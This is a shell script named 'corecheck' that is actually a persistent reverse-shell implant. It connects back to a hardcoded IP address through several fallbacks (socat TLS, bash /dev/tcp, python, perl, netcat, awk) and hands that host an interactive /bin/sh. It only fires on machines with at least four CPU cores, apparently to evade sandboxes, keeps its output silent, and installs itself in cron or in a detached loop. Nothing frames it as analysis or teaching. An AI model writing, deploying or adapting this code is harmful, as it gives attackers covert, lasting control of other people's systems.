#!/bin/sh
LHOST="${LHOST:-172.86.86.60}"
LPORT="${LPORT:-41670}"
TLS_PORT="${TLS_PORT:-41669}"
CPU_MIN="${CPU_MIN:-4}"
QUIET="${QUIET:-0}"
TAG="corecheck"
msg() { [ "$QUIET" = "1" ] || echo "[$TAG] $*" >/dev/null 2>&1 || true; }
# ----------------------------------------------------------
# cpu count: try the most available source first, and never
# rely on a single syscall. Everything is guarded.
# ----------------------------------------------------------
cpu_count() {
c=""
if [ -r /proc/cpuinfo ]; then
c=$(grep -c '^processor' /proc/cpuinfo 2>/dev/null)
fi
if [ -z "$c" ] || [ "$c" = "0" ]; then
c=$(getconf _NPROCESSORS_ONLN 2>/dev/null)
fi
if [ -z "$c" ] || [ "$c" = "0" ]; then
c=$(sysctl -n hw.ncpu 2>/dev/null)
fi
if [ -z "$c" ] || [ "$c" = "0" ]; then
c=$(nproc 2>/dev/null)
fi
if [ -z "$c" ] || [ "$c" = "0" ]; then
# count /sys cpu entries as last resort
c=$(ls -d /sys/devices/system/cpu/cpu[0-9]* 2>/dev/null | wc -l)
fi
# gate fails closed on unparseable data
case "$c" in
''|*[!0-9]*) c=0 ;;
esac
echo "$c"
}
# ----------------------------------------------------------
# shell engines, best-first
# ----------------------------------------------------------
shell_python() {
py=$(command -v python3 || command -v python)
[ -n "$py" ] || return 1
"$py" -c "import socket,os,pty; \
s=socket.socket();s.connect(('$LHOST',$LPORT)); \
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); \
pty.spawn('/bin/sh')" 2>/dev/null
}
shell_perl() {
command -v perl >/dev/null 2>&1 || return 1
perl -MSocket -e '
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")) or exit 1;
connect(S,pack_sockaddr_in($ARGV[1],inet_aton($ARGV[0]))) or exit 1;
open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");
exec("/bin/sh");' "$LHOST" "$LPORT" 2>/dev/null
}
shell_nc() {
for t in nc ncat "nc.openbsd" "nc.traditional" socat; do
p=$(command -v "$t") || continue
case "$t" in
socat)
"$p" TCP:"$LHOST":"$LPORT" EXEC:'/bin/sh',pty,stderr 2>/dev/null && return 0 ;;
*)
"$p" -e /bin/sh "$LHOST" "$LPORT" 2>/dev/null && return 0
# -e-less netcat: fifo relay (busybox nc)
rm -f /tmp/.cc.f 2>/dev/null
mkfifo /tmp/.cc.f 2>/dev/null || continue
( "$p" "$LHOST" "$LPORT" < /tmp/.cc.f >/tmp/.cc.o 2>/dev/null; \
rm -f /tmp/.cc.f /tmp/.cc.o ) &
sleep 1
sh -c 'while IFS= read -r l; do printf "%s\n" "$l" > /tmp/.cc.f; done' &
wait 2>/dev/null
return 0 ;;
esac
done
return 1
}
shell_awk() {
command -v awk >/dev/null 2>&1 || return 1
awk -v H="$LHOST" -v P="$LPORT" 'BEGIN {
s = "/inet/tcp/0/" H "/" P
while (1) {
printf "shell>" |& s
if ((s |& getline c) <= 0) break
while ((c |& getline out) > 0)
printf "%s\n", out |& s
close(s)
}
}' 2>/dev/null
}
# ----------------------------------------------------------
# dedup: is a shell already established to LPORT?
# ----------------------------------------------------------
already_connected() {
conn=$(ss -tn 2>/dev/null | grep -F "$LPORT" | grep -i estab)
[ -n "$conn" ] && return 0
conn=$(netstat -tn 2>/dev/null | grep -F "$LPORT")
[ -n "$conn" ] && return 0
return 1
}
spawn_tls() {
command -v socat >/dev/null 2>&1 || return 1
socat OPENSSL:"$LHOST":"$TLS_PORT",verify=0 SYSTEM:'/bin/sh' 2>/dev/null && return 0
return 1
}
shell_bash() {
command -v bash >/dev/null 2>&1 || return 1
bash -c "exec 5<>/dev/tcp/'"$LHOST"'/'"$LPORT"'; cat <&5 | while read -r line; do eval \"\$line\" 2>&5 >&5; done" 2>/dev/null && return 0
return 1
}
spawn_shell() {
( spawn_tls || shell_bash || shell_python || shell_perl || shell_nc || shell_awk ) &
}
# ----------------------------------------------------------
# persistence: cron if possible, detached self-loop otherwise
# ----------------------------------------------------------
self_path() {
readlink -f "$0" 2>/dev/null || printf '%s' "$0"
}
persist_install() {
self=$(self_path)
line="*/13 * * * * $self --oneshot -q"
if command -v crontab >/dev/null 2>&1; then
if ( crontab -l 2>/dev/null | grep -vF "$self"
printf '%s\n' "$line" ) | crontab - 2>/dev/null; then
msg "cron persistence installed"
return 0
fi
fi
# no crontab or suid-less crontab: detached loop
if command -v setsid >/dev/null 2>&1; then
setsid sh -c "while :; do $self --oneshot --quiet; sleep 900; done" &
else
( while :; do $self --oneshot --quiet; sleep 900; done ) &
fi
msg "detached self-loop persistence installed"
return 0
}
cmd_oneshot() {
n=$(cpu_count)
msg "detected cores: $n (gate $CPU_MIN)"
if [ "$n" -ge "$CPU_MIN" ]; then
if already_connected; then
msg "shell already established — skip"
else
spawn_shell
fi
else
msg "below core gate — not firing"
fi
}
cmd_test() {
n=$(cpu_count)
[ "$n" -ge "$CPU_MIN" ] && d=FIRE || d=SKIP
echo "[$TAG] cores=$n gate=$CPU_MIN -> $d"
t=""
for e in python3 python perl nc ncat socat awk; do
command -v "$e" >/dev/null 2>&1 && t="$t $t"
done
echo "[$TAG] usable engines:$t"
}
cmd_install() { persist_install; }
# ----------------------------------------------------------
# entry
# ----------------------------------------------------------
MODE="oneshot"
for a in "$@"; do
case "$a" in
--quiet|-q) QUIET=1 ;;
--oneshot) MODE="oneshot" ;;
--install) MODE="install" ;;
--test) MODE="test" ;;
-h|--help) sed -n '2,20p' "$self_path"; exit 0 ;;
esac
done
case "$MODE" in
oneshot)
n=$(cpu_count)
if [ "$n" -ge "$CPU_MIN" ]; then
msg "cpu gate passed ($n >= $CPU_MIN) — firing"
spawn_shell
# install persistence only once
if command -v crontab >/dev/null 2>&1 &&
! crontab -l 2>/dev/null | grep -qF "$self"; then
persist_install
fi
else
msg "cpu gate: $n < $CPU_MIN — not firing"
if [ ! -r /proc/cpuinfo ] && ! command -v sysctl >/dev/null 2>&1 \
&& ! command -v getconf >/dev/null 2>&1; then
msg "warning: no cpu detection source; defaulting to skip"
fi
fi
;;
test) cmd_test ;;
install) persist_install ;;
esac
exit 0